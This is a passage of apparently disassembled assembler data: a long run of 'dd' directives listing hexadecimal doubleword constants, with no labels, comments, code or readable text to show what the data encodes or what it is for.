		dd 0C92C2A86h, 7A5D00E4h, 70050E95h, 230330FDh,	0DE0D0133h
		dd 66F8B14Dh, 2858382Ch, 0B530DEE9h, 0F3791Ch, 87DDA20Dh
		dd 0C15DAD28h, 7E4D96ECh, 945E0944h, 46E86479h,	745B0141h
		dd 1425CC83h, 0A8C0FC22h, 0A0B37454h, 4DEFCC16h, 80B8A408h
		dd 387BF8DCh, 0CB127947h, 0D00813E5h, 35B2C012h, 0A946E946h
		dd 0E2307B22h, 0DEB720C5h, 297201B5h, 99FD28ABh, 0E2A18475h
		dd 5C90D9AAh, 0BF443Ch,	0C836B674h, 14989F0Ah, 3502D9B0h
		dd 0B086EA06h, 1F904068h, 0DBD217F8h, 347A41h, 0D35AD5A9h
		dd 0A1C109Dh, 34E0EE9h,	66EA03D4h, 6804609Ch, 36CC0A6Bh
		dd 0F084B4F4h, 0C94E1277h, 61E4446Fh, 0DEFCA446h, 1C42EC16h
		dd 0A5FFE020h, 23B4A84Bh, 901A4936h, 8A945809h,	0A3F0CAEh
		dd 89E475CAh, 482162Bh,	0CA0C7030h, 0A4B07828h,	16467B70h
		dd 8B4347ADh, 3DC00014h, 0A8C3E867h, 0D1560059h, 91E64B7Fh
		dd 5C0BF63Eh, 256F7A4Eh, 5899F460h, 5BB20072h, 2FE730h
		dd 9F9C14F9h, 696CCA3Dh, 33229CA6h, 0DF130A8Fh,	0AB0186Eh
		dd 0A4F82FAAh, 74674C0h, 0FA43F700h, 0A02E8569h, 143C155Ch
		dd 85C8B69Ah, 0E2C4753Ch, 6FC880CBh, 9037C8C0h,	0FEF67D10h
		dd 53D504ABh, 902458CCh, 0A4F48478h, 0DEE76401h, 0F6EF0F03h
		dd 0B0D8A6C7h, 841F44ACh, 0D58BE604h, 0CD067315h, 0E8006976h
		dd 0C5726F20h, 731E7CBh, 8018511h, 0C09670B7h, 0B358D61Bh
		dd 0F18D005Eh, 0E2C2738Ch, 0CDF22CF4h, 59A0960h, 0F32C8482h
		dd 3C7A20C2h, 3E12A246h, 38708425h, 95B0EFA4h, 0C7C60105h
		dd 0F081BDCAh, 5C201E5Ch, 953E1323h, 1A888077h,	4A4996CBh
		dd 317F0050h, 0A10F41B8h, 0FCCA00ECh, 0A2385610h, 6227F148h
		dd 9E4420D7h, 0B3F9D93h, 12A8B9D6h, 77E25D00h, 4F0096C3h
		dd 355D17F1h, 0AD8150h,	1CEF3F5Ah, 42F53651h, 82D48258h
		dd 24814640h, 253F61B5h, 8A25E07Ah, 0F451CC9Ch,	9025F4h
		dd 0D9DCF247h, 1A0C9C5Bh, 1DB2E0C9h, 0AFCD08A8h, 404A7962h
		dd 0F6351Bh, 3FF2DECFh,	208A0C62h, 5ABED904h, 6C91E5F5h
		dd 0D03D6ED6h, 599A9400h, 0D851666Fh, 33D2BE07h, 0C9891FD6h
		dd 0E81953F0h, 0E9232935h, 0B741141h, 8635B6D9h, 2412F66Bh
		dd 9B866D8h, 0C040FDA2h, 0C9807B46h, 649D06FFh,	99E7AAFAh
		dd 1D2DBBE0h, 88549709h, 64602601h, 542C49EBh, 0E88CD1h
		dd 90C86F8h, 8A78B8CEh,	0F11F4C01h, 0E1856889h,	882236E9h
		dd 4F46F0Ch, 82143D39h
		dd 245C6AA0h, 0C036E00Dh, 5E48B420h, 5D005C46h,	0DB6F2A9Ch
		dd 0B1FC49BDh, 0DC0CFE98h, 79F5E772h, 4797137h,	0ED7AB885h
		dd 8A34F06Eh, 9D33AE09h, 4A84A38Eh, 731FC1D1h, 88116F00h
		dd 0F9633E00h, 0CC860325h, 0FC134875h, 2066210h, 0EC953661h
		dd 0CB5C40E5h, 0C4C2249Eh, 27520298h, 9058C0E7h, 0FFA00201h
		dd 5DB760D6h, 3D12FCh, 48612373h, 4E579E83h, 0D2807CB9h
		dd 0DEEBB427h, 0C2894FAh, 10563F51h, 5A7A63EAh,	2E3011E0h
		dd 1F85E1CAh, 6547684h,	98717F0Fh, 620E5045h, 9E533E41h
		dd 4AE572C9h, 0E0D84040h, 25A8B14Dh, 0A884E429h, 67296033h
		dd 2B472EB6h, 40B57054h, 0E3E16700h, 4534BE15h,	897A3Bh
		dd 0F3B95B8Ch, 853E3886h, 845A4E25h, 9892D894h,	47304A46h
		dd 61064460h, 0A0C45C5Bh, 0E8F64F6Dh, 8E12E3Bh,	243FAA05h
		dd 0EC84308Fh, 98E83025h, 88B83830h, 0CC990B00h, 4EE65A6Ch
		dd 719C64FFh, 24522126h, 0A70300DEh, 0B40CADF6h, 0F4784BD9h
		dd 1C8F7200h, 117347C1h, 36421FD3h, 0F10218B8h,	0D572801Bh
		dd 99126A00h, 0FA3E5976h, 427008Bh, 0D89C8C2Bh,	8907064h
		dd 2638AC39h, 392CACBAh, 18A9860Eh, 0FA290149h,	137E007Bh
		dd 60AF84FEh, 0B00CBE4h, 8F750A9Fh, 3D5719F6h, 3684C055h
		dd 0A0821512h, 0F258A8BCh, 0F45C9F00h, 0C639C250h, 61685E00h
		dd 0B03E45F2h, 951CE898h, 0A141517Bh, 230D482Fh, 61383023h
		dd 8272A408h, 6B80DA1Fh, 5C62DB90h, 46DCB0B9h, 745E0142h
		dd 141DCB3Ch, 53A7000Bh, 8E75C174h, 8BBB00E4h, 1BBAEB5Ah
		dd 0EF24587Ah, 9D042420h, 0F8801794h, 5AFFD85Dh, 2645399h
		dd 4C7C5A6Bh, 2B388440h, 0D000F15Eh, 0FEB43324h, 0C87F18DDh
		dd 1EBC3174h, 1188BD00h, 0AA9C1FD8h, 7F3A005Ah,	2C26F741h
		dd 3F006764h, 4CEDA334h, 1E2F2F6h, 2D30D2ACh, 28FA94ADh
		dd 34CA93D4h, 7C76DC8h,	9C9BA4C0h, 0EB905F7h, 0F0BE9789h
		dd 812E7CBCh, 4B4016h, 0BAEF1B20h, 2438B8C8h, 974407E7h
		dd 0C8748B5Fh, 0ABFC105h, 0FB3DF8CDh, 91A2FE04h, 0D6838F48h
		dd 5C8006DEh, 0E118A478h, 0DD7C2095h, 8071113Eh, 0FC94A39Ah
		dd 0EA09D120h, 0C4FCD136h, 0D4989C78h, 92423500h, 67C944EFh
		dd 1EFB0166h, 0BA0DBC8h, 28E452CDh, 465CA054h, 0D32A0018h
		dd 92635479h, 65C9704Bh, 0B23D4077h, 305CE210h,	0DA000142h
		dd 0C250E62Bh, 6CBDEF51h, 0A248A1A9h, 72D78CA0h, 0E11FF4B2h
		dd 788E2B67h, 0BDE32092h, 9DD9DC3h, 0D56EB21Fh,	6BE40052h
		dd 0E1C5000h, 60FA0D6Ch, 6190932h, 0C4070F36h, 0C8505994h
		dd 0B7A74E18h, 605C71h,	5D500628h, 84AF48BCh, 3588E615h
		dd 0CE4F12FCh, 13855CD3h, 0FC9DC720h, 47BD0572h, 4CC7FC6h
		dd 0D56F003Eh, 0DB083C03h, 8A00050Ah, 8C782480h, 286299D2h
		dd 9C5547h, 8E10542Eh, 3351898Ah, 880FF04Fh, 0E62892Fh
		dd 6E738060h, 142A5B1h,	0FF459E31h, 6C3B3248h, 0C0548858h
		dd 0E95035B0h, 91155921h, 9BE40178h, 1FADC135h,	406BC2C2h
		dd 8025FFACh, 0B900BFDFh, 0E12187Fh, 15D8A6Eh, 0EAE1B02Ah
		dd 3DD711F2h, 1600715Ch, 0B2C13440h, 0E14C91h, 11D368B6h
		dd 96FAF5F9h, 0AE30363Bh, 69821083h, 38BEF7h, 713CCA4Ah
		dd 49344BEh, 59238440h,	48D1C3B0h, 6F850435h, 62D089E8h
		dd 47571210h, 5E58F480h, 0B3460BE0h, 60478142h,	1825EA42h
		dd 0DD0076EBh, 0D673D00Ah, 0F4AE180Fh, 345E5DF6h, 0BF81126h
		dd 202739A5h, 14A9D8CCh, 0AAF4123Ah, 96CB48C0h,	846C9C66h
		dd 0C0166C9Ch, 7C41DDB4h, 6793499h, 0BF00E918h,	6A0967ABh
		dd 0A8D22E36h, 17A21488h, 0A72070h, 6FCC4720h, 0EC009354h
		dd 0DAB6B0FFh, 62309C5Bh, 579B98E6h, 46F4505Eh,	389BB242h
		dd 275337D1h, 0D687099Ch, 0D4526Dh, 9B74C7C8h, 3813016Ch
		dd 0E94B6130h, 51834682h, 0F00BA0E6h, 302606C4h, 0E4C9C141h
		dd 3E090440h, 0B962966Bh, 6C950AFCh, 340090CAh,	495FAFC9h
		dd 14012857h, 0A51512D8h, 0CCC0C082h, 0A4265985h, 0CB83E853h
		dd 96EE646h, 7618F848h,	56C0DCD3h, 1D857F2Ah, 812423A2h
		dd 26572BABh, 4D7AF059h, 53EB4001h, 19813F82h, 1CFEAAE8h
		dd 80A0261Ah, 2CC6D63Dh, 72904E44h, 737A5317h, 82F41002h
		dd 0F13C4BD2h, 0E21442h, 0E93EE661h, 7A42BCBEh,	0C2E5071Eh
		dd 0AF01C031h, 0CAC04AC9h, 0C2F8B288h, 37401AA8h, 98668081h
		dd 8086D67h, 40EB74Ah, 9E05856Ah, 0A21B1008h, 36842043h
		dd 65B967F1h, 6077C4FCh, 53498BEh, 0EEEF4EA8h, 0F274F06Ah
		dd 0C4D2664Bh, 0FF1C4085h, 84562562h, 342E9C44h, 465EAC40h
		dd 3A0486Eh, 0ABF089F6h, 0ADF5906Fh, 8B133C73h,	0B3523C01h
		dd 302DFCE4h, 83705E14h, 742F165Bh, 340F1723h, 91058320h
		dd 1FA18870h, 9523F28Dh, 624A6490h, 0D0849430h,	0E2962C5Fh
		dd 46DE02E1h, 0C37A4916h, 0C170245Bh, 8EB203E4h, 0BEA191FFh
		dd 68B5AFD1h, 8C76BC20h, 0CE9620C2h, 0B6A07A6Dh, 5C465EB0h
		dd 4664A902h, 2A40EE3Bh, 8F09BFC9h, 5ACE5388h, 8C524D7Ch
		dd 44202B2Fh, 5BCE0B93h, 3AC62800h, 206512ABh, 7A8825E3h
		dd 60AA8068h, 494069C0h, 0E2521B3h, 0ACB6B9DDh,	2C533BA1h
		dd 0DC5D3AA9h, 0A7659100h, 0FC4FE550h, 0C25D0F02h, 4240846Fh
		dd 747260F6h, 0EF295800h, 4E1F3875h, 0B80C52D4h, 9D9A5D0Bh
		dd 1611C09Dh, 6E2AC480h, 0D8B092DBh, 0B979E732h, 0DC78804Ah
		dd 3729B59h, 642137C2h,	0B90B36CCh, 0F33DAFh, 5BE68CC4h
		dd 0B8630502h, 77C76Dh,	5AED36C8h, 9295BBC6h, 50307BB4h
		dd 432ECE77h, 0C04F842Bh, 46D03F6Fh, 0A35700D8h, 9C93846Dh
		dd 0E40FD518h, 0BECA48FAh, 0D294C9E5h, 104E0D6h, 0DD3C1FC2h
		dd 65AE0B79h, 5E1648E8h, 6F1F20DCh, 609C0A6h, 0E0740094h
		dd 409D7C65h, 0BC04A5B4h, 787636EBh, 0D79E18BCh, 888C8B28h
		dd 899FC21Ah, 3DABF140h, 8A4DA601h, 2AD7F5F2h, 0C814403Ah
		dd 4CCD4792h, 691D3902h, 0E0A09694h, 2D1F0C50h,	0D817E36Fh
		dd 83E1EB9Eh, 0FDF266C2h, 0C4013FD8h, 4CB06A27h, 5650B608h
		dd 4A007846h, 0FD159D8Ah, 997C9FEh, 0A61818B8h,	1E9613E8h
		dd 7CD402B2h, 70F94BBEh, 63187771h, 40279927h, 82EECAB4h
		dd 8670D823h, 0F2B8A2E5h, 0D9C63007h, 800B09EAh, 0A042A45Ah
		dd 0A78FCA64h, 80D094CDh, 5FC1214h, 812E680h, 0E0307FB0h
		dd 75169DBh, 0B9A88576h, 2389B012h, 3A00D85Dh, 0EDD645C2h
		dd 164CCFAh, 3661AD57h,	89C7BAA5h, 8996DDC0h, 9AB087D2h
		dd 4DAF18Ch, 0B3E6A090h, 0C9CCBC83h, 61841833h,	9FB603D4h
		dd 9D53DCD0h, 0A65742C8h, 47848A1Ch, 9E7E2980h,	2448BECh
		dd 0B6913763h, 0EC5C9AE0h, 0B84BA800h, 9E47618Ch, 0E4D6935Ch
		dd 0EF75F8A4h, 0B6E7F0F7h, 9A098A02h, 7E6C617Ch, 0B24813F8h
		dd 3074E24Ch, 80018642h, 66C5313Ch, 203A5F17h, 0C236DD94h
		dd 0DA4A8C46h, 5FED87ACh, 0E6BD0771h, 48734EDCh, 2480CCF4h
		dd 4A548A59h, 12E53218h, 0BF484C8h, 0C44AA83h, 7070BC89h
		dd 704C402Bh, 4F549550h, 643CC89Ah, 0D95B651Eh,	234163C0h
		dd 445A8640h, 517C824Eh, 4DFB0D16h, 0CA6F1C21h,	0CEC222Eh
		dd 7DD1F863h, 0AA218CE8h, 3864F14Ch, 0F1B8A34Fh, 2EF9DF9Eh
		dd 76467C78h, 0E1000B2Eh, 3B13A86Ah, 5AC3E877h,	1F190404h
		dd 0A42DCC43h, 117B6FBCh, 26A53512h, 0BCE67C84h, 0F8299CE1h
		dd 5407BE9Bh, 0E6732419h
		dd 0A79CA449h, 8EB888h,	4EA78D3h, 37DBC5DCh, 0E7914500h
		dd 7BA54D7Ch, 1F6427F0h, 2E22C0CCh, 0AA670075h,	6F7299FFh
		dd 1C091031h, 0CA5A26A7h, 0B31480E0h, 185181E6h, 194ABAEFh
		dd 2BE4C83Dh, 0B849CE62h, 42524033h, 385901E9h,	542E5AC1h
		dd 0B0753EB4h, 5B884C8Bh, 0BEDE43C0h, 0BD4A0E72h, 0E9003323h
		dd 1D0432B3h, 8C376413h, 196CB061h, 9F2C3BF4h, 7859A80Bh
		dd 86181371h, 0EF4F3600h, 41EED60Eh, 88615A4Ch,	553E5E68h
		dd 0DCE0017h, 0B7F29CBCh, 0EF18046Ah, 0BCB4BEE6h, 0E94E1EC4h
		dd 40FCDA0Ch, 50A0E282h, 9D64C025h, 55045090h, 11B8979Dh
		dd 4BFB8002h, 294894h, 215745D6h, 51861A33h, 5413207Bh
		dd 0C8E39B47h, 0A862127Ah, 3E642961h, 0E000386Eh, 0C6FC408Bh
		dd 0B8073324h, 953681D2h, 70C9D1C5h, 0EFFA8041h, 42134C62h
		dd 0FC28020Ah, 486999h,	562638C8h, 0F4C23835h, 7B91174Bh
		dd 0DE31F096h, 0C3B00704h, 14EDD63Fh, 8B923100h, 0CC5635BCh
		dd 0AC442BE7h, 7081B030h, 782254BBh, 0EE847001h, 0DBD76275h
		dd 0A0636100h, 0C7BCB7EFh, 0A3A00B4h, 73AD80CBh, 711EA739h
		dd 87C19B51h, 52C90CEAh, 8200DC62h, 0EF54D697h,	474E620Bh
		dd 8901BC82h, 9F2094C8h, 7791B895h, 0C01D9580h,	9913586Dh
		dd 0B4F3F0AEh, 0C854CB4Bh, 613EC176h, 82F0744Bh, 9F162F70h
		dd 0FC30BE81h, 78809829h, 0FF580C33h, 0D892458Ch, 0B16E7200h
		dd 0AE46CC7Fh, 255CB387h, 2540F4EDh, 0FDB321h, 6B843620h
		dd 0C4FFABF2h, 587D552Ch, 6E760904h, 76E824FCh,	47A2058Ch
		dd 0A278D9DFh, 0DCEBE314h, 5C629C30h, 7227220Eh, 0D739C4A9h
		dd 970CC8h, 7DA38530h, 6D70E1A8h, 0FA88A201h, 45739972h
		dd 703DA820h, 0FC7750CAh, 58879768h, 0EB02C89Fh, 63FE8ADEh
		dd 0A86CE00Ch, 828C9129h, 0CA0EE93Ch, 0E4D1E84Ah, 0F34D7307h
		dd 0A86058F0h, 0CE3F15D2h, 7117A85Eh, 9701FA84h, 63F466E9h
		dd 147AF9C0h, 5C59D1B9h, 3D9B3C09h, 0B6AA8023h,	0E909590Fh
		dd 0F90F0046h, 7F627137h, 0AF3D0187h, 7E965E5Fh, 4C842919h
		dd 13A53F06h, 90B68140h, 48A35EA0h, 0A4E2F002h,	74E08247h
		dd 0DEB0BB8h, 7811B4B7h, 98C44381h, 63F8CC9Bh, 89324E06h
		dd 146071ABh, 0A814EE0Eh, 9C6A8205h, 6FE88915h,	0CD10802Fh
		dd 0C817C0AFh, 0B35167Dh, 2B34370Dh, 0BB97AC68h, 6D0AF200h
		dd 1535A721h, 78409156h, 90862603h, 4A54873h, 0DB4EAC48h
		dd 41BB80A4h, 0A7CB73Bh, 0B1A1DD56h, 0F8FC09B3h, 0E9B01B8Ah
		dd 5081C435h, 12475E2Bh, 13CF87F4h, 812C9C58h, 329EDD10h
		dd 0F4D80910h, 7C907816h, 0FC28EB6Bh, 0F64BF013h, 807FB3C8h
		dd 88DCAA39h, 0B71C0A5Bh, 0F480B912h, 0E65AF07Ch, 90925A36h
		dd 0C5427E30h, 0BE3FE0A4h, 8F873E17h, 0C06E0613h, 6114A4D0h
		dd 79D0484h, 0B2CD04BFh, 6E10374h, 0E95109DBh, 67F85BC7h
		dd 0D9F1007Ch, 0F2394AACh, 109E7B28h, 3D9C7F60h, 6CEE2EECh
		dd 1E46744Ch, 79F8E339h, 20820104h, 66EA2D26h, 4447BFCh
		dd 0A74ACCDDh, 1C004984h, 4B41434Dh, 5D340804h,	80C5157Fh
		dd 0EFAC3CBDh, 0D6874E31h, 0A440111Eh, 0A92AFD7Ah, 0C47123E4h
		dd 9E715824h, 3DA9410Ch, 0EC48E25Ah, 0AE00AA2Ah, 0B0E6BAB2h
		dd 0F18A0A2Dh, 975AA670h, 13910497h, 5CA0039Dh,	890B3494h
		dd 60DA3351h, 699D7AC0h, 0C46C1818h, 3AEC5809h,	85C8E6C7h
		dd 6108C488h, 4BD94986h, 0E9B0B070h, 0FC58B43Ch, 34E2D3h
		dd 188E77C5h, 3B481D4h,	8632499h, 898DC8A4h, 0E0B6F5B0h
		dd 3D05DB70h, 0C13E776Ch, 47E0B8F6h, 0E53E71D3h, 0F4BE8385h
		dd 0C27309CEh, 801044CFh, 1D201D4Ch, 40BF436Dh,	0C9282CCBh
		dd 0EFE22A16h, 10947577h, 481E465Ch, 5C391Eh, 627D3056h
		dd 0C760294h, 3B318507h, 35137A58h, 0C206EA5h, 806A3A96h
		dd 89BDCA9Ah, 8F09D44h,	5360521Ah, 15787BCCh, 0AC5DC914h
		dd 38439C03h, 75A007BDh, 4C00A75Fh, 7A1172C0h, 4F18A459h
		dd 0C848CE6Fh, 4B4AC36Dh, 368A82B8h, 0F5DC1400h, 4CC038ABh
		dd 63370EC3h, 7FA4A7A4h, 0B824AC4Fh, 0FA008C74h, 6CFF9F1Ch
		dd 0BBE6B2Ch, 0A6F822E0h, 24911C58h, 5181BD1h, 5354B81Eh
		dd 0D5D63D40h, 0E45163E3h, 7AF10BE9h, 0FC704EA5h, 4A9EDF0Fh
		dd 0FCA35294h, 0C530EBA2h, 8718Ah, 0C014830h, 0F4733F4Bh
		dd 2480409Ch, 4A95B96Dh, 27DDE8EBh, 0FCA0D574h,	3091F6C0h
		dd 11687C0Ah, 85000CD7h, 0BC8F1099h, 0A4470272h, 1375CB38h
		dd 7879F871h, 59008818h, 112A6EEBh, 2086EA7Eh, 6F016A6Ch
		dd 0F4AF8F99h, 0B862BD82h, 23682B5Eh, 0F470005Ch, 0B4698254h
		dd 99AE7F1Ch, 0CBD840ADh, 68CA2446h, 0E068A77Ch, 6D126347h
		dd 770194C4h, 5CA252D8h, 0B512A836h, 0F728E4AAh, 11CE9D1Fh
		dd 86974900h, 9D6E0ACh,	0AF45C3F4h, 0A800E8D1h,	9F36918Bh
		dd 6DBD00DBh, 0AE85FE6Ch, 1E004039h, 28E0CED6h,	254829BBh
		dd 0A090B2E6h, 440AE99Fh, 0C4543095h, 0A2005420h, 0C96417ACh
		dd 1710313h, 3F4C79FDh,	0C010C634h, 5A6EB011h, 0D81FE008h
		dd 2557FD23h, 105A8047h, 4D02B24h, 9908F580h, 48E7FB12h
		dd 0F100FD0Ch, 727F9723h, 6604DFF9h, 81E68AB3h,	785C048Ch
		dd 0F58C151Ah, 0A1F74B9h, 9A2FC069h, 0D938AF64h, 2EBE7A09h
		dd 0EDC9073Fh, 0D87B6C50h, 84D49645h, 0EC591494h, 3711161Ch
		dd 2F6A008Dh, 11923F4h,	617178B8h, 0C8622Ch, 0B7C34266h
		dd 3879E59Ah, 57006E35h, 73CF48C8h, 594BF997h, 342EE065h
		dd 9D1C7923h, 8EE09409h, 0D058EC6Ch, 22CA09B6h,	0FC5C2743h
		dd 0CA502D6h, 0F0A4C11h, 2BA4B0C1h, 92468442h, 5C426Ch
		dd 9D3209Ch, 0EB6C9EA8h, 2644065h, 4DCC5067h, 0E125B11h
		dd 50E26206h, 2142E2Eh,	0B33718EBh, 1A79F0F9h, 6B00F618h
		dd 54AB02AFh, 623EA536h, 81B1D0C3h, 7151345Bh, 0BA00CB18h
		dd 0FC2DCF24h, 15474112h, 0EC92DCE7h, 0BF37C881h, 3E3875C0h
		dd 0CC00146Bh, 0BDE6F17Eh, 735CA286h, 0ABC0DFF4h, 0D7DB168Ah
		dd 974FEC1h, 0F696244Fh, 0EC905070h, 0CC0B65Fh,	2F9D1E11h
		dd 0A830016Ah, 1C9E8140h, 0CAEB1DD4h, 0ECE0EF9Eh, 445F91B2h
		dd 93424809h, 195088F4h, 511105DBh, 0ED8D2660h,	23500D0h
		dd 5F5C81DEh, 7B61C0CCh, 0FF5B2779h, 0C80B5924h, 4BE18255h
		dd 0DC56D55Eh, 6418E5EBh, 0E80760ECh, 855E04B8h, 820EE305h
		dd 0B4744C01h, 321EEB1Eh, 0ECC941D7h, 0CBB0F836h, 543F926Dh
		dd 57809C2Fh, 60F4F017h, 0B33D48C8h, 0A07AE617h, 66152344h
		dd 9DE437F5h, 0BCF871E5h, 406A301Eh, 11D4EF51h,	0B8073641h
		dd 23734E62h, 2F8D189h,	5C619E3Ch, 2CD6CCA7h, 4800DE99h
		dd 74982044h, 30AD52h, 4670022Fh, 0EEAB82B0h, 5AD1753Dh
		dd 0E5E8AC45h, 125A14E4h, 8A7EED36h, 8CA24BCCh,	0C2605F1h
		dd 43E2011Ch, 0CF0D84E0h, 10F12085h, 0A72DC3FEh, 346CB1ECh
		dd 0F4902A18h, 16234727h, 41042CE0h, 5F8D002Ch,	230840F7h
		dd 0FB7CAC02h, 80525D4Dh, 7D0A47E8h, 13F4E8F0h,	411E0DCh
		dd 0C65684h, 2DD5AC32h,	28682799h, 4DF0DC90h, 8A91B505h
		dd 0B8005631h, 0E2CC5486h, 0A46749C8h, 66F5D50Fh, 4758A720h
		dd 790BC560h, 0F8532D06h, 0A1380FB0h, 781E4F04h, 5944BB04h
		dd 0D98C994Eh, 0F3B4C76Dh, 0EED0470h, 0C018135Eh, 7B049972h
		dd 0C3A6F45Bh, 2E22E4C8h, 0C0407E21h, 60808A2Dh, 0A01FCF1Ch
		dd 759B94C0h, 4BFEA45Ah
		dd 0B2E0A36Fh, 0EFDA306Dh, 8EDD5507h, 0A5605976h, 137EADBFh
		dd 0E2D2F372h, 0D1505040h, 9E3BE218h, 0B549B08h, 9C780280h
		dd 7902F450h, 0B2A51651h, 84DCDEC9h, 56866AD2h,	3C8A8CAh
		dd 0D84F07C3h, 0A0115E0Fh, 2786CA98h, 704868D4h, 589178D9h
		dd 2180779h, 840787E8h,	0D47A192h, 0EF214FB0h, 41D92F9Eh
		dd 0A4C1FCC0h, 0B4E16F80h, 36EF8518h, 48F4FC15h, 0BD2278h
		dd 0F41A8E57h, 0A433DEEEh, 9A47CCEDh, 8998399Fh, 2AD4347Ah
		dd 1235Ch, 0C5F41883h, 39C0B5AAh, 1D5EB107h, 40640232h
		dd 68CDFCE3h, 2F5BF0A0h, 0AB163D47h, 0B8D3D813h, 87B9884Eh
		dd 0A3D2000Dh, 4D9491E1h, 0F77B7B06h, 60C15E00h, 0AD834FFEh
		dd 0B9EB2F47h, 71EF24E5h, 4456009Dh, 72D6DE7Ch,	3D85AC3Dh
		dd 27C5993h, 5FA2B32Fh,	0BE451B0h, 8C314ECBh, 0A8D1F616h
		dd 0EE1877D9h, 2C00348h, 31845D4Ah, 6F08C9FDh, 0BAF4217Fh
		dd 98426BE2h, 0EF6E7314h, 0F7854034h, 302D6EAh,	18FBF236h
		dd 2F947C2Ch, 6D55CCC1h, 822AC2Ch, 0E5EAED7Bh, 24F2DD12h
		dd 60FC5E00h, 0CB6B5F83h, 0A1B2C004h, 4F8920Eh,	0C8624E04h
		dd 9D608027h, 0D58081FEh, 16FC1895h, 0BD52117Eh, 1D906F7Bh
		dd 0F0260625h, 0C060F92Ch, 0A12C88AEh, 0DC14242Ch, 5AF805A7h
		dd 585E2490h, 9BD90267h, 0D322FDE6h, 8103D8FAh,	0C60EEECEh
		dd 0CC4C98FAh, 0B0489537h, 3A3FDEEBh, 943ACEB7h, 0C0AFCD10h
		dd 6023CEFh, 121988Fh, 3A190D63h, 285F9E5Dh, 0E931F070h
		dd 89401950h, 0E49E08F9h, 0CA0034ADh, 121AF1EBh, 9811301Fh
		dd 7F1300E1h, 3B7C6033h, 0BB01DB54h, 0E68BA9F7h, 0CCF03542h
		dd 587C02h, 3B53AF04h, 902DA5E5h, 0B3284B00h, 11F37E46h
		dd 4160003Fh, 13224F8h,	4303A4ADh, 17883672h, 0BB400026h
		dd 0DE1B46C7h, 2200D342h, 4EAE5B32h, 6E1BDD1h, 1083AD06h
		dd 800A83Eh, 61F52812h,	19A01964h, 871BD0Ch, 0FD218015h
		dd 0EED3F5FFh, 0CCC40095h, 4E8B89Eh, 0DE74AD32h, 35B4ED0Ch
		dd 941008h, 0BB287E61h,	0B3B11970h, 301DC83Ah, 0B973214Eh
		dd 13C9077Eh, 3047CB61h, 0F6D9D1C3h, 712C1130h,	1C651BEDh
		dd 7BF8CCh, 0F767C2Eh, 0EF0036F2h, 108493A2h, 60B8B7D3h
		dd 0C53230B0h, 3D0D92F5h, 680C5C26h, 5D2A8F0h, 0B131D9F1h
		dd 0FCD03251h, 0F1CA6F20h, 0DB1118F0h, 0BB7C48ACh, 944F7700h
		dd 3144BD97h, 0D9E810h,	69817BBCh, 0AABFECBEh, 3453C500h
		dd 0F731E47Dh, 0F8E300D1h, 67CE0842h, 661EBB84h, 39592CEDh
		dd 0A8953168h, 170EF848h, 0C0BF9EF4h, 8C226E07h, 7830708Bh
		dd 0F0AC203Eh, 1A1299Fh, 9291E220h, 8CF87033h, 8BF1D402h
		dd 1950A131h, 0ECC9109Fh, 0A5E107F1h, 256F1213h, 73BC4029h
		dd 32FA78A0h, 0DE0003F8h, 0B8239A25h, 6FDD34Ah,	0A8E8EFAAh
		dd 4929E039h, 850AD834h, 0CD80C459h, 30E70323h,	0C0A900A3h
		dd 0ED8B629h, 4909BD6Dh, 3391AD07h, 67F5E83Ch, 1418FD64h
		dd 259B88h, 7D6050F5h, 1D864A2Bh, 0C9C05D7Eh, 0CBEC0D08h
		dd 9DC8A29Bh, 80981144h, 0C6405FAEh, 68FA0960h,	9A8001AAh
		dd 35454722h, 0A170B814h, 50B718BCh, 384639h, 3E8E1020h
		dd 5A48591Bh, 0CB6E6702h, 0E0BA86C6h, 0B08C6B5Ah, 51390C0Ch
		dd 6DB1B05Bh, 26968B07h, 0E2101D5Fh, 0DCB1CC47h, 84AD4AB8h
		dd 60F8CC8Ch, 8C716429h, 0F5FCF2C0h, 0E073F7h, 0E10FD98Ah
		dd 44883386h, 0DB0B066h, 0D4610558h, 48C1F257h,	62C0EC90h
		dd 21BB277Eh, 52911DB8h, 7EBA7603h, 0BEF0177Bh,	0B0913FEDh
		dd 9C18A0D1h, 2037B300h, 0C070D3CDh, 0BCA0C0A4h, 25DD6884h
		dd 4A338C07h, 1A47E210h, 3D96C440h, 234A423h, 31DAF1CFh
		dd 0A21950C9h, 0B4606E12h, 0F41EE770h, 0CDC17565h, 15F9F751h
		dd 0B88142C9h, 79B93437h, 4D5424AAh, 0D44B8B00h, 3DAC88D7h
		dd 8806630h, 70032165h,	0B9494B83h, 5838C875h, 91128F7h
		dd 0CFD80928h, 0FC01E6A5h, 24C8A807h, 341536E0h, 134855Eh
		dd 0D7D34BDAh, 6A0CA8F0h, 921388h, 61CD704Bh, 0DB2CBC54h
		dd 47D58h, 53C233B4h, 503201BDh, 8CA2E081h, 257E6004h
		dd 5162C8BBh, 7E787420h, 5DC5011Fh, 0A17B089h, 0B8B184E4h
		dd 5D22A544h, 734BD730h, 22E846D0h, 8F140141h, 95B8184Bh
		dd 5CC041AFh, 65D45009h, 61499CBCh, 47490038h, 25F72F2Ah
		dd 0F89CA011h, 71B498D9h, 330B32B7h, 40953750h,	0AB806391h
		dd 66016712h, 0B86BCC13h, 8A06001Dh, 59AD5Eh, 56B46EDAh
		dd 3D40BF46h, 0E860A0D4h, 47008C9Eh, 0B333198Dh, 0B1AE13Ah
		dd 53644595h, 881C809h,	0C1F098h, 0E906BDB7h, 30786C42h
		dd 0D5344B8Ch, 6C70D0D7h, 134B846Dh, 491C697h, 54638F8h
		dd 0B48CD0B7h, 66048CE8h, 58BB0B7Eh, 82204C62h,	3AED7E5Eh
		dd 3883C626h, 75D845BDh, 0D41AB810h, 0AD269891h, 4E447410h
		dd 5E880057h, 8D0DFDFEh, 580031CBh, 0F2197D70h,	3BA51Ah
		dd 3485DAB1h, 0E1669CF9h, 0E711A13Dh, 8241B921h, 11803F73h
		dd 0FFB5715Bh, 56195DD9h, 6A09C21Fh, 697B2180h,	0DAD33B5h
		dd 0C463E600h, 53E0ABA0h, 903C0085h, 0B71A6ADDh, 0D318A654h
		dd 0FD184B20h, 0B6C40FC1h, 8780D9D0h, 771BF716h, 13633E7Eh
		dd 0B273A58h, 0AB753B08h, 62C15A00h, 3E3DD31Ch,	805B3CE7h
		dd 899726C2h, 90FD962Dh, 3368C7CAh, 3F27B05Ch, 3230CCF2h
		dd 93F94918h, 0A29C1F5Eh, 9A99BF66h, 80310836h,	5E8C5B21h
		dd 0C90CE2h, 0B5CB3340h, 659D4C1Bh, 0BD9041E9h,	5FE03BACh
		dd 0AE3C0C11h, 60B8182Bh, 0C130A6E4h, 521948F5h, 336E004h
